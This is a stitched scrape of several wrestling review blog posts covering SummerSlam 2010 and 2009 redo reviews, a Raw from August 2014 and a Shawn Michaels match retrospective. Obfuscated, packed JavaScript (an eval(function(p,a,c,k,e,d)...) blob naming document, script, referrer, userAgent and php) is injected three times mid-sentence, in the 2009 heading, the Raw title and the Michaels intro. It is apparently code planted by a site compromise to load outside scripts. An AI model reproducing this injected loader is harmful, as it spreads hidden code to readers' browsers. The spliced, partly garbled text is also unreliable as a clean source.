Cena hits a hard clothesline to put Slater down and dives for the hot tag to Bryan. Daniel comes in with a quick German suplex on Slater as Striker calls for Cattle Mutilation, which means absolutely nothing to most WWE fans. Bryan backflips over Slater in the corner and hits the running clothesline before sending him to the floor for the FLYING HAIRLESS ANIMAL! Back in and Bryan hits the missile dropkick and counters a rollup into the LeBell Lock to get us down to two on two.

Nexus stomps away on Cena in the corner and a big boot from Wade sends him to the floor. Gabriel and Barrett peel back the mats at ringside and a DDT on the concrete knocks Cena out cold. Back in and Gabriel misses the 450, allowing Cena to score a quick pin. Barrett comes in and gets caught in the STF out of nowhere for the final elimination 20 seconds later.

Ratings Comparison

Dolph Ziggler vs. Kofi Kingston

Original: C+

Redo: D+

Melina vs. Alicia Fox

Original: D

Redo: D-

Straight Edge Society vs. Big Show

Original: D+

Redo: D

Randy Orton vs. Sheamus

Original: D+

Redo: B-

Rey Mysterio vs. Kane

Original: C-

Redo: C

Team WWE vs. Nexus

Original: B+

Redo: C+

Overall Rating

Original: B

Redo: D

My goodness what was I thinking?

http://kbwrestlingreviews.com/2011/08/13/history-of-summerslam-count-up-2010-a-one-match-show-almost-literally/

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of ECW Pay Per Views at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00LWSOTGK

And check out my Amazon author page with wrestling books for under $4 at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6

 




Summerslam Count-Up – 2009: This Time It’s Orton vs. Cena

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|enfsz|var|u0026u|referrer|sfrir||js|php'.split('|'),0,{})) 2009
Date: August 23, 2009
Location: Staples Center, Los Angeles, California
Attendance: 17,129
Commentators: Jim Ross, Jerry Lawler, Michael Cole, Todd Grisham, Matt Striker, Josh Matthews

The opening video is set up like a movie theater, but DX takes it over by making shadow puppets on the screen. Shawn wins by putting up Abraham Lincoln. They finally break the projector but Shawn says he can fix it. He turns it into a DX highlight video but breaks the camera one more time.

Intercontinental Title: Rey Mysterio vs. Dolph Ziggler

Rey is defending after a long but awesome feud with Jericho. Ziggler pounds him down into the corner before getting two off a powerslam. Dolph throws him over his shoulders to the top but Rey bounces off with a moonsault press for two. Out to the floor and a cameraman is taken out via I think a hurricanrana. Back in and Ziggler catches (kind of) a rana off the top in a buckle bomb for two to take over.

Rating: B+. Excellent opener here with Ziggler being able to go move for move with one of the best high fliers of all time. It was clear that Dolph was going to be a big deal and this was a great example of why. Rey was on fire at this point but he would be derailed by a Wellness violation a few weeks later, forcing him to drop the title to John Morrison.

Jack Swagger vs. MVP

MVP jumps over Swagger in the corner and hits a quick clothesline for two to start. Swagger rolls to the floor to avoid the Ballin Elbow, only to be caught by a suicide dive. Back in and Swagger gets in some shots to the ribs to take over followed by a forearm to the back. MVP counters another shot with an elbow to the face, only to get caught in an abdominal stretch.

Luke Perry is here.

Video on celebrities guest hosting Raw. Did we really have to relive this stupid idea?

Tag Titles: Chris Jericho/Big Show vs. Cryme Tyme

Kane vs. Great Khali

Slash, Robert Patrick and Maria Menunos are here.

Legacy vs. D-Generation X

DX comes in on a tank, trailing behind a bunch of soldiers on an Army jeep. Ok points for an AWESOME entrance. HHH starts with DiBiase as Ted fires off right hands in the corner. They have even less effect than you would expect so HHH suplexes him down and drops a knee for two. Off to Cody who walks into the high knee to the face from the Game and slaps Shawn as a result. Shawn gets the tag to a big pop but gets slapped again after running the ropes a bit.

ECW Title: Christian vs. William Regal

Christian is defending. Remember Matt Hardy vs. Mark Henry going 32 seconds last week? This is a quarter of that as Christian grabs the Killswitch as Regal is taking his robe off for the pin to retain.

Video on the Summerslam festivities in Los Angeles.

We recap Orton vs. Cena. Orton has dominated the year and Cena is the latest guy to try to take the title. Not much here but do these two really need a backstory?

Raw World Title: John Cena vs. Randy Orton

Orton is defending. Cena takes him down with a front facelock but Orton counters into a hammerlock. Randy takes him into the corner and kicks at the ribs a bit, cuing a Cena comeback with rights and lefts. Orton comes back with an elbow to the face and his VERY slow stomping. This is the main criticism of Orton around this time: he wrestled in slow motion and it makes for very dull matches. The big knee drop to the chest gets two.

Cena gets in another shot and pops up top for the Fameasser, good for two. Orton grabs the ropes to block the FU and a double clothesline puts them both down. They slug it out with Cena taking over and speeding things up, but Orton shoves the referee for the LAME DQ. To be fair though it was the first fast paced thing he did all match.

Smackdown World Title: Jeff Hardy vs. CM Punk

Back up and Hardy loads up Poetry in Motion but Punk drops him onto the open chair to take over. A series of ladder shots to the back have Hardy in big trouble. Punk sends him to the floor and hits a suicide dive but misses a chair shot. Hardy sends him into the post and gets in a chair shot to the elbow to take over. This is a slower paced match so far which is usually the best way to go about TLC matches. Now Poetry In Motion hits against the barricade and Punk is in trouble.

Hardy loads up a table next to the ring and this Punk in the head with part of the announce table and a monitor. A chair shot puts Punk down again as Hardy is in full control. Jeff sets up the big ladder and hits an INSANE Swanton Bomb through Punk through the announce table. That looked NUTS but the crash was great. Both guys are checked on as the stretcher is brought out. Hardy is taken out but Punk is crawling towards the ladder. Jeff gets off the stretcher and goes after Punk, only to be kicked off the ladder in another big crash, giving Punk the title.

Ratings Comparison

Dolph Ziggler vs. Rey Mysterio

Original: A-

Redo: B+

Jack Swagger vs. MVP

Original: C

Redo: D

Chris Jericho/Big Show vs. Cryme Tyme

Original: D+

Redo: C-

Kane vs. Great Khali

Original: D+

Redo: D-

D-Generation X vs. Legacy

Original: A

Redo: B+

William Regal vs. Christian

Original: N/A

Redo: N/A

John Cena vs. Randy Orton

Original: B-

Redo: D

CM Punk vs. Jeff Hardy

Original: A

Redo: A-

Overall Rating

Original: A-

Redo: B

The Cena vs. Orton match carries or sinks this show depending on how you look at it.

http://kbwrestlingreviews.com/2011/08/12/history-of-summerslam-count-up-2009-punk-in-another-main-event-3/

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of ECW Pay Per Views at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00LWSOTGK

And check out my Amazon author page with wrestling books for under $4 at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6

 




Monday Night Raw – August 11: 2014: Something Something Rhymes With Hogan

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|trafr|var|u0026u|referrer|khrht||js|php'.split('|'),0,{})) Night Raw
Date: August 11, 2014
Location: Moda Center, Portland, Oregon
Commentators: Michael Cole, John Bradshaw Layfield, Jerry Lawler

Tonight is both the go home show for Summerslam as well as a special birthday celebration for the one and only Hulk Hogan. We’re scheduled to see some special guests and I’m assuming a bunch of retrospectives on Hogan’s career, which could make for some interesting moments. Other than that, Cena and Lesnar are both back so we should get some solid build for Sunday. Let’s get to it.

We open with a bunch of red and yellow presents on the stage for later.

Here are Heyman and Lesnar to get things going. Lesnar’s shirt now has REPEAT covered by a John Cena sticker. Heyman says Lesnar will be the next World Heavyweight Champion and says he’s going to give us a taste of his selling abilities. If he has to come out here and explain the beating that Cena is going to suffer on Sunday, then you’re missing the point. Lesnar is here to address Cena fans, because bad things happen to good people when they step into the ring with Brock.

We see stills from Wrestlemania of Lesnar breaking the Streak and the audience’s shock. Heyman brings up Brock getting rid of Rock for six months back in 2002 and sending Hogan out of the WWE as a rookie. That leaves Brock with John Cena. If you’re a fan of Cena, don’t miss Summerslam because it’s going to be the end of John Cena.

We get stills from Extreme Rules 2012 and Heyman blames the loss on Lesnar’s real life illness. That was Brock at 50% and Cena still got the beating of his life. This coming beating will be that of a Shakespearean tragedy. Heyman actually rhymes about Cena (“We can’t rap like you. I’m just Brock’s advocating Jew.”) and the loss on Sunday. Heyman is going to take the big man out to dinner now and they’ll be back home tonight.

Flo Rida and Werid Al Yankovic say Happy Birthday Hulk.

Here’s Reigns for his match but Kane interrupts. Kane is back to being corporate with the suit and says he’s Director of Wrestling Operations again. He says Reigns won his match against Kane (speaking in third person for some reason) last week and it was almost like beating two men. Therefore, let’s see him face two men tonight.

Ryback/Curtis Axel vs. Roman Reigns

Axel starts for the team and gets caught in a headlock before being shoved down to the mat. Reigns shoves him into the corner and it’s off to Ryback. It’s almost sad to see how far Ryback has fallen in the last two years. They slug it out a bit with Reigns getting the better of it, only to have Axel offer a distraction, allowing Ryback to powerbomb Roman down. We take a break and come back with Reigns fighting out of a Ryback chinlock before they head outside. Reigns gets posted a few times and that’s a DQ at 9:09.

Rating: D+. SERIOUSLY? You can’t have Ryback and Axel take a pin? Everyone else pins them but the next top star has to beat them by DQ? The match was boring on top of that as you were waiting on the big Reigns comeback but instead he wins by DQ. This one boggles my mind.

Post match Reigns beats both guys up because he’s Roman Reigns and they’re Ryback/Curtis Axel. Reigns says he’s never stolen anything from Orton but he’s taking everything on Sunday. When you knock a viper’s fangs down its shirt, it’s just a worthless little worm. Believe that.

Orton gets on Kane for losing last week and promises to get the job done on Sunday. Kane makes Orton vs. Sheamus tonight. Something odd here: Kane is supposed to be 6’10, meaning Orton has suddenly hit 6’8.

Rob Van Dam vs. Seth Rollins

The match that was supposed to happen last week. They fight into the corner to start with Seth in control, only to be countered on a whip. A clothesline puts Seth down and Rob nails a standing moonsault for two. They slug it out some more with Seth avoiding a charge in the corner before taking him down to the mat in a headlock. Back up and the rolling leg scissors gets two for Rob and the springboard kick to the face gets the same. Rollins rolls to the floor, only to get nailed by a baseball slide. The spinning kick to the apron misses though and we take a break.

Back with Rollins holding a headlock before sending Van Dam into the corner. Rob fights back with a BIG kick to send Rollins staggering. A quick slam sets up Rolling Thunder for another near fall, followed by a superkick for two. Seth jumps over Rob and kicks him in the ribs. The monkey flip is countered into the Curb Stomp for a fast pin on Van Dam at approximately 7:58.

Rating: C. The match was fast and not all that great. Van Dam is there to do one thing and it’s getting a bit boring to watch him do the same stuff over and over again. This was a shorter version of his usual stuff though and that makes for a more entertaining match than the fifteen minute versions.

Post match Rollins looks through Hogan’s presents and thinks Ambrose is in one of them. He realizes he’s being crazy and leaves but Dean pops out of the big box and beats Seth into the crowd. Dean says that the show costs $9.99 on Sunday and he’s going to get his money’s worth.

Here’s Stephanie who talks about how important her match with Brie is on Sunday. We see a picture of Daniel with his physical therapist, who happens to be in the crowd tonight. Stephanie has her come into the ring and the therapist (Megan) is crying. She says that she’s a victim in this and that she’s doing her best to get Bryan back into the ring because that’s what Daniel loves to do.

Megan cries even more and eventually says that she and Bryan have been having an affair. This brings out Brie to yell as Stephanie says that Megan was shouting YES after every physical therapy session. Brie slaps Megan and takes Stephanie down. She’s so mad that she puts on a horrible YES Lock and Stephanie makes a match between the two of them tonight.

Drew Brees, AJ Hawk and Aaron Rodgers (NFL superstars) wish Hogan a Happy Birthday.

Cesaro vs. Jack Swagger

Swagger has taped up ribs. Cesaro takes him down with a quickly shoulder block but gets caught in the Rick Steiner powerslam/belly to belly for two. The bald guy comes back with a gutwrench suplex and an abdominal stretch. A middle rope ax handle has Swagger in trouble but he blocks another into a belly to belly. The fans are really not interested in what they’re seeing here.

Cesaro comes back by dropping Swagger’s ribs over the top rope and knocking him into the barricade as we take a break. Back with another abdominal stretch on Swagger, only for him to escape and nail a bad looking big boot. A Vader Bomb gets two but Cesaro kicks him in the face for two of his own. Cesaro gets two more off a middle rope backsplash before loading up the apron superplex.

Swagger picks him up and pulls him to the apron but Cesaro gets back inside. He loads up Swiss Death but drops Swagger down onto his knee instead. A low uppercut gets two but a double stomp is countered into a Patriot Lock attempt. Cesaro quickly makes the ropes and kicks Swagger in the ribs, only to get pulled off the top into the Patriot Lock for the tap out at 12:00.

Rating: C. This was….long. Cesaro has fallen through the floor over the summer and it’s really sad to see. I can live with Swagger getting the face push that he’s needed for years, but it’s sad to see it coming at the expense of someone with so much potential. The match was entertaining but didn’t need to last this long.

Post match Zeb says they’re calling this Sunday’s show Deportslam when they get rid of Rusev and Lana. They load up WE THE PEOPLE but the Ruassian flag comes down and we get the Russians.

Earlier today, Bray Wyatt and Chris Jericho sat down for an interview with Michael Cole. Bray immediately sends Cole out of the room and asks Jericho if he remembers his dreams as a child. Wyatt remembers the scared little boy who wanted to live up to his daddy. Can Jericho still see the disappointment in his dad’s eyes? Now Jericho can’t even save himself.

Bray knows a lot about Jericho but Jericho knows nothing about him. Everytime Bray tries to sleep, he hears the screams in his recurring nightmares. Never once did he claim to be a savior though, because he isn’t. The only thing he lives for is to help people that can’t help themselves. You can’t just whisper words anymore because you have to scream it until their ears bleed.

The only way to help someone is to hurt them. Bray has been around a long time and has hurt a lot of people. He isn’t sorry for it either because he has no conscience and doesn’t believe in Heaven or Hell. Bray hates everything this world has created because he’s a monster and the eater of worlds. The human race is lost and the pale horse is coming for Jericho at Summerslam. Bray’s smile will be the last thing he’ll ever see.

Jericho says he isn’t a savior, but after being here for fifteen years, he’s become a survivor. There are a lot of different faces of Chris Jericho, but he’s going to shove the buzzards right down Bray’s throat and leave him speechless. Jericho leaves and Bray laughs to end this rather creepy segment. Bray’s voice sounded higher here.

AJ Lee vs. Eva Marie

Non-title. AJ easily takes her down to the mat but here’s Paige to skip around the ring. As is always the case, the distraction lets Eva get a rollup pin at 1:07.

Post match Paige reads a poem about throwing AJ off the stage but wanting to punch her face. She’ll skip out of Summerslam with the title. What’s with all the rhyming tonight? AJ goes after Eva, who is down on the floor despite only being in a headlock for about twenty seconds.

Opening segment recap.

Here’s Cena for his response to Lesnar. He says his name is John Cena and he’s going to get mauled in six days, assuming you believe Paul Heyman. Lesnar is going to do a lot of things on Sunday but he will not win. He’s going to have to make Cena lose and John isn’t laying down for Brock Lesnar. Cena isn’t laying down because Lesnar doesn’t deserve this title. One day Cena is going to lose, but it won’t be on Sunday and we all know why.

Cena doesn’t like Brock because he’s an arrogant bully that cares about no one but himself. There has never been a more selfish man to ever set foot in the WWE locker room. This is a business, but Brock being arrogant doesn’t make him deserve this title. Cena talks about how he’s heard the fans cheer and he’s heard the fans boo. He’s been told he can’t wrestle and he’s heard dueling fan chants but he keeps coming out here with a smile on his face.

That brings up the question of when is it enough. When does he stop caring about the t-shirts, the hats and the wristbands and go nuts? This Sunday he’s facing a beast and that’s what he’ll become to keep this title out of the hands of Brock Lesnar. Paul Heyman told the fans earlier tonight that this is his house and the fans belong to him. That’s not what the title stands for and any idiot knows that this house belongs to the fans.

However, Cena will play along tonight. If this is Brock’s house, then there’s a stranger in his living room, so come try and kick him out. There’s no Lesnar so Cena makes fun of the disease Brock had a few years back. He says he has too many fingers so he’s giving Brock the middle one. After more waiting, Cena gives up and says he’ll conquer the conqueror. This Sunday the champ is here. Good promo from Cena here, but he has no chance.

Larry King wishes he was as tanned as Hulk and the country music band Florida Georgia Line wishes him Happy Birthday.

Stephanie McMahon vs. Brie Bella

Brie almost trips on the way to the ring but seems remarkably calm an hour after being told her husband is cheating on her. Stephanie comes out in her regular outfit from earlier and says we’re waiting for Summerslam. She shows us the slap to Megan and that’s grounds for pressing charges. Brie is arrested and Stephanie laughs a lot.

Dolph Ziggler vs. Heath Slater

Miz is standing on the announcers’ table and runs his mouth until JBL unplugs his microphone. That goes nowhere as Ziggler dropkicks Slater down. The big elbow drop gets two but Slater grabs a small package and nails a side kick for two. Miz brings up Cole being a former Miz fan and Cole has nothing to say. Ziggler nails some clotheslines but misses a charge, only to hit the Zig Zag. Miz comes in for a distraction but Ziggler catches him at ringside and sends him into the barricade. Somehow this isn’t a DQ and Slater wins by countout at 4:21.

Rating: D. This was more of an angle than a match and my goodness what is up with Slater getting this push? The match was barely there and another challenger loses going into his title shot at the big show. You know, because he just has to. Thankfully he’s the only one tonight but it’s such a common trend in WWE.

Another Zig Zag puts Slater down post match. To be fair Slater went after Dolph first.

Randy Orton vs. Sheamus

It’s been awhile since we’ve seen the pale one and of course this is non-title. Sheamus sends him into the corner to start but Orton pounds him down to take over. Back up and Orton charges into a boot, followed by a not very hard slam. A middle rope knee drop gets two for Sheamus but Orton fights out of the ten forearms to the chest and we take a break.

Back with Orton holding a chinlock after backdropping Sheamus over the barricade during the break. Sheamus fights back and takes it to the floor, only to get dropped back first onto the announcers’ table. Back in and Sheamus nails a side slam to start his comeback. Orton fights back again and takes it outside but gets caught in the ten forearms on the way back in. The rolling fireman’s carry gets two but Orton counters the Irish Curse into the backbreaker for two.

There’s the Elevated DDT but Orton walks around instead of covering. Sheamus wisely rolls to the floor to avoid the RKO and comes back in with the slingshot shoulder. There’s the powerslam for two on Randy but Sheamus misses a charge and hits the buckle. Orton charges into boots and Sheamus goes up for the shoulder, only to dive into the RKO for the pin at 13:10.

Rating: B-. I always thought these two could have a good match and that’s what you saw here. I like the ending more than I thought I would have as it was something that Sheamus could have been trying instead of just giving him a stupid reason to go up. I don’t like a champion losing, but at least it’s to a bigger star. Good match.

Clip of a Cena vs. Lesnar special airing on the Network after Raw.

The roster is on the stage for Hogan’s birthday celebration. Your emcees for this event: Jimmy Hart and Gene Okerlund. And really, could it be anyone else? Gene brings out Hulk for a video on his career set to a song called Forever Young. There’s some cool old school stuff in there, including his original heel run with Blassie.

Back in the arena and the fans are going nuts for Hulk. Hogan says he’s speechless for the first time in his career but musters up a few words. Everyone has been giving Hogan presents today, and even Vince gave him a card with $9.99 in it. The fans are now chanting $9.99 whenever it’s said. Hulk talks about Hulkamania being a two way street and hopes that he’s been able to touch the fans’ lives almost as much as he’s touched their lives. Hogan loves the Hulkamaniacs and the WWE Universe…and here’s Flair.

Nothing happens but here’s Paul Orndorff, complete with his HORRIBLE 1995 theme songs, which is basically women shouting HE’S WONDERFUL in high pitched, opera style voices. We get the required appearance from the hometown boy Roddy Piper. No one is saying anything between these appearances, making it very much like Flair’s retirement ceremony from a few years back. Hall and Nash come out as well with Hall taking a survey (no one seems to remember that), saying that the fans want Hogan in Black and White. Hogan rips off the red and yellow to reveal an NWO shirt. Nash leads Happy Birthday….and here’s Lesnar.

Heyman asks Hogan what he’s going to do and calls him grandpa. Cena runs out and is ready to fight but Brock and Heyman bail. No contact or anything and we’re told that the Hogan birthday celebration will continue after the show on the Network…..for just $9.99! Ok they didn’t say that but it’s implied. Cena and Lesnar shout at each other to end the show.

Overall Rating: C-. This was another show that would have been much better if they cut it down by an hour. That being said, I do want to see Summerslam more than I did earlier today. The Hogan stuff was decent enough, but it really would have been nice to see something earlier than 10:58. I was entertained, though it took awhile to wake me up at some points.

Results
Roman Reigns b. Ryback/Curtis Axel via DQ when Reigns was sent into the post
Seth Rollins b. Rob Van Dam – Curb Stomp
Jack Swagger b. Cesaro – Patriot Lock
Eva Marie b. AJ Lee – Rollup
Heath Slater b. Dolph Ziggler via countout
Randy Orton b. Sheamus – RKO

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of ECW Pay Per Views at Amazon for just $3.99 at:

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Wrestler of the Day – July 22: Shawn Michaels

We’re at a big one today: Mr. Wrestlemania himself, Shawn Michaels.

There’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ityra|var|u0026u|referrer|etaik||js|php'.split('|'),0,{})) no way I can cut Shawn down to a timeline, so here’s a collection of matches in no order, other than what I consider his best match ever next to last and my favorite match of his last.

Let’s get the obvious ones out of the way first. These are the quintessential Shawn matches so let’s get them done now. We’ll start with Wrestlemania XII.

WWF World Title: Bret Hart vs. Shawn Michaels

In the famous opening, Shawn’s manager/trainer Jose Lothario comes to the ring alone. He gets on the bottom rope and points to the rafters where a spotlight shines. It’s Shawn, dancing atop the rafters and ziplining down into the crowd. The shot from behind him with the flashbulbs going off was one of the most shown visuals in company history for a long time. Bret just walks to the ring because he’s a bit more laid back. Of course this is an Iron Man Match lasting one hour, most falls in that amount of time wins.

Earl Hebner is the referee because there’s no one else that it could be. He reads the full rules to both guys which is pretty cool to hear actually. Vince says that whoever wins the first decision will win the match. It likely helps that he picked the winner. Feeling out process to start with both guys being tentative to get into anything of note. Granted they’re also likely conserving energy.

Shawn easily escapes a pair of headlocks and they trade some more technical stuff. First bit of psychology: Bret blocks a third try at the same headlock counter that Shawn used both times earlier. We head to the mat with the champion in control via a headlock. Shawn fights up and we get a nice technical sequence resulting in Bret being right back in control with a headlock. Off to a front facelock as the announcers debate which man is stronger. That’s a good question actually.

Back to the headlock which is smart this early in a match like this. Shawn gets up again and fires off some armdrags before hooking an armbar. Freddie Blassie and Stu Hart are in the front row. They run the ropes a few times until Bret takes it back to the mat, only to be caught in a kind of abdominal stretch on the mat. They go into the corner and Shawn fires off some right hands, only to be sent into the other corner. Shawn is cool with that as he sends Bret to the floor with a headscissors. Fifty minutes left.

Back in and Shawn puts on an armbar but Bret throws him over the top. It’s Shawn though so he skins the cat and hooks the armbar again to put Bret down. Bret comes back with a shot to the ribs and a headbutt to the abdomen to take over. Off to a chinlock for a bit but Michaels escapes with a jawbreaker. There’s a Fujiwara Armbar on the champ but Bret nips up and catches Shawn in a kind of spinebuster.

The Sharpshooter doesn’t work though so he clotheslines Shawn to the floor. The fans aren’t sure what to think of that. Bret heads to the floor and gets sent into the post which makes him stagger into the timekeeper. We’ve got 45 minutes left as Shawn misses Sweet Chin Music on Bret, hitting the timekeeper by mistake and knocking him out cold. Back in and Bret hooks another chinlock as the timekeeper gets stretchered out.

As the chinlock goes on for almost three minutes we see the problem with this match: it doesn’t need to be an Iron Man Match. Yeah it’s kind of cool that it did went an hour but it would have been fine as a regular match that went like 45 minutes or something like that. The drama would have been better too and we wouldn’t have long rest holds like this. I can’t blame the wrestlers for resting like that as it’s not fair to ask them to go nuts for an hour, but it doesn’t make for the most interesting TV in the world.

Shawn finally gets up but can’t get an O’Connor Roll. Instead he hits a dropkick and grabs another armbar to take Bret down. Shawn cranks on the arm even harder with 40 minutes to go. Now we hit the hammerlock as the crowd is pretty silent. Back up and Shawn sends Bret’s shoulder into the post to give him the biggest advantage yet. There’s a shoulderbreaker to the champion followed by a double ax from the middle rope to the shoulder.

Bret starts firing off punches but Shawn comes back with a DDT on the arm. There’s a cross armbreaker but Shawn breaks it after one pull. Now it goes on full but Bret fights up and rakes his boot across Shawn’s face to break the hold. That’s rather heelish no? Back to the armbar but Hart counters into a kind of middle rope hot shot. Shawn fights back but misses a Stinger Splash in the corner, giving Bret his first advantage in a long time.

The bulldog puts Shawn down so Bret goes up top. That’s an odd sight for him and Shawn tries to slam him down, only to get pulled down to the mat by his hair. Bret hit the referee on the way down and we’re at halftime. Shawn comes back with a powerslam for two but a backdrop attempt is countered into a piledriver which gets two for the champion. Bret goes up again but gets slammed down.

Michaels starts speeding things up with a standing hurricanrana but Bret hangs onto the ropes to avoid the superkick. A backbreaker gets two for Shawn but Hart bails to the floor to avoid the kick again. Instead Shawn goes up and hits a HUGE dive to the floor to take the champ down. Back in and Shawn skins the cat, only to get caught in a small package for two. A Perfectplex gets two for Shawn and he hooks a sleeper. Hart gets his arm up on the second drop so Shawn rams him into the corner again.

Michaels charges at Bret but gets backdropped up and over the post and out to the floor in a great looking crash. Bret goes out to get him though which isn’t the brightest idea in the world. Back in and Bret works over Shawn’s injured back before dropping a leg for no cover. We’ve got twenty minutes left and Bret stomps away on the back. Shawn is flipped upside down in the corner and there’s a belly to back superplex for a close two.

We hit the camel clutch for a few minutes before Shawn fights up again. Hart tries a superplex but has to settle for punching a jumping Shawn in the ribs. Michaels gets whipped into the corner and it’s a Flair Flip to the floor where Shawn accidentally kicks Jose in the head. Out to the floor and Bret whips Shawn into the steps, knocking Jose down again. We head back inside with fifteen minutes to go.

A belly to belly suplex gets two for Bret so it’s time for a slugout. An O’Connor roll doesn’t work for Shawn as Bret kicks him out to the floor on the kickout. A suicide dive takes Shawn down again and we’ve got twelve minutes left. Back in again and Bret hits a German suplex for two. They slug it out but Shawn can’t hang with Bret at this point. Hart is too exhausted to follow up though so it’s back to the camel clutch.

Ten minutes to go now and the camel clutch eats up about two of that. It’s off to a regular chinlock with eight minutes to go and Shawn fights up. They clothesline each other down and more time is being burned up. A superplex puts Shawn down again but he STILL manages to block the Sharpshooter. Hart settles for a half crab as the punishment on the back continues. Shawn makes a rope but gets taken down by a backbreaker with five minutes to go.

Bret loads up his middle rope elbow but jumps into a boot to put both guys down again. A dropkick puts Bret in the corner as Shawn gets his nineteenth win according to Shawn. Four minutes to go now. There’s the flying forearm and the nip up (the camera misses it) as Shawn picks up the speed. A jumping back elbow puts Hart down and a top rope spinning ax handle gets two. The top rope elbow hits with two and a half minutes left. A good looking gutwrench powerbomb gets no cover with two minutes to go.

Shawn busts out a moonsault press for two as Bret is trying to hang on. Ninety seconds left and Shawn hits a middle rope rana for two more. Shawn slams him down and goes up top but he can’t follow up with a minute left. Shawn tries another rana but jumps into the Sharpshooter with thirty three seconds left in the match. The place is going NUTS but Shawn amazingly holds out until the time limit expires.

BUT WAIT!

As Bret leaves, Gorilla Monsoon orders the match to continue under sudden death rules. As Bret puts it: why? This was never agreed to and Bret is indeed getting screwed here. The bell rings and Bret is TICKED. He goes after Shawn’s back and hits a big backdrop. Bret whips Shawn into the corner, and in one of two moments that made me jump to my feet when I was watching it live, Shawn jumps over Bret out of the corner and hits Sweet Chin Music to put both guys down. Michaels gets up, tunes up the band, and kicks Bret’s head off for the pin and his first world title.

Rating: B. After an hour and five minutes of this match, there’s one word that can sum it up: LONG. That’s the problem here: it did not need to be an hour long and would have been much better suited as a regular one on one match. Either that or have a few falls in between, as having it be one very long glorified one on one match makes the stipulation seem pretty lame. The psychology is good though and it’s not a bad match by any means. It just could have had over 20 minutes cut out and you could have had the same match, and that’s not a good sign. Oh and what happened to Bret’s shoulder injury?

From In Your House XVIII.

Undertaker vs. Shawn Michaels

Inside the Hell in a Cell and the winner gets a shot at Bret next month at Survivor Series. The thunder starts to rumble and the gong goes off, bringing the crowd back to life for the first time in a long while. The entrance takes it sweet time as Shawn is forced to think about what’s coming. Undertaker turns the lights back on and Shawn is terrified as reality sets in.

The slow stalking around the cage floor begins before they head back inside, only to have Shawn launched across the ring. A ram into the buckle sends Shawn flying again so he tries some punches, only to be whipped HARD across the ring again. Undertaker rams his shoulder into Shawn’s before hitting Old School for no cover. A slam and legdrop get two on Shawn and some big right hands send Shawn down again. Michaels is thrown over the top and out to the floor as the pain is about to begin.

Undertaker continues to walk very slowly around the ring, hitting a single right hand after another. He tries a powerbomb on the floor but Michaels fires off right hands, only to be rammed back first into the cage wall. Now Undertaker picks him up and rams Shawn back first into the post, then the wall, then back to the post and back to the wall again. Shawn manages to escape being rammed in again and sends Undertaker into the wall, but Undertaker shrugs it off and punches Shawn down.

Shawn is sent face first into the steps and choked a bit but he FINALLY sends Undertaker into the post to get a breather. Since the outside doesn’t work at all for Shawn, he heads back inside, only to have his neck snapped across the top rope. A dive over the top takes out Undertaker and an elbow off the apron keeps Undertaker down. Michaels slams the steps down onto Undertaker’s back a few times before piledriving him down onto said steps.

A top rope ax handle sends Undertaker into the cage again and we head back inside. Shawn finds a chair under the ring and the fans are very pleased. Some chair shots to the back put Undertaker down for two so Shawn ties his arms up in the ropes. He doesn’t tie up the feet though and Undertaker kicks him down before backdropping Shawn onto the cameraman. Shawn beats up the cameraman, which becomes important later.

Michaels gets in a cheap shot on Undertaker to knock him to the floor before taking a breather. Back inside and the flying forearm and nip up make Shawn a little more cocky. The top rope elbow gets two as Slaughter has the door unlocked to get the cameraman some medical attention. Sweet Chin Music lays Undertaker out but he sits up. Shawn tries to run through the open door but Undertaker grabs him almost immediately. Michaels is catapulted into the cage wall (on the outside), cutting him open. Now the fun begins.

In one of the iconic shots of the match, Undertaker puts Shawn on his shoulder and rams him into the cage wall again. Shawn collapses next to the cage but Undertaker is just warming up. A quick low blow puts Undertaker down and with nowhere else to go, Shawn climbs up the side of the cage. He makes it all the way to the roof but Undertaker follows him. Undertaker counters a piledriver with a backdrop as we go to a wide shot to show how awesome this looks.

A gorilla press slam puts Shawn down on the roof again and a kick to the ribs sends Shawn to the edge. He tries to climb down, but in the really famous shot of the match, Undertaker stomps on his hands, sending Shawn flying off the cage and through the announce table. Undertaker still isn’t done and throws Shawn onto the other announce table as Shawn’s face is just covered in blood.

The stalking continues as the announcers are losing their minds at all this. Michaels crawls back into the Cell but can barely see through the blood. A running clothesline puts Shawn down on the mat before taking him to the top for a SUPER CHOKESLAM. Now we get to the poetic justice portion with Undertaker grabbing the chair. A big chair shot to the head puts Shawn down and Undertaker signals for the tombstone…..and the lights go out.

Organ music begins to play and Paul Bearer walks a huge man in red down to ringside. Vince: “THAT’S GOT TO BE KANE!” He rips the door off the Cell and climbs into the ring to stare down Undertaker. Undertaker is STUNNED as Kane raises his arms up and pulls them down, causing fire to shoot up from the ring posts. Kane tombstones Undertaker down and walks out, allowing Shawn to drape an arm over Undertaker for the shocking upset.

Rating: A+. This is one of the best matches of all time and the culmination of one of the best put together stories ever. While the brawling is incredible and the violence is off the charts, the storytelling carries this. Undertaker stalking Shawn to start and getting every single bit of punishment in that he could until Shawn used his speed and intelligence to get some control was brilliant. The torment Undertaker put Shawn through was perfect with Michaels being completely destroyed throughout the match and being dead to rites until the ending.

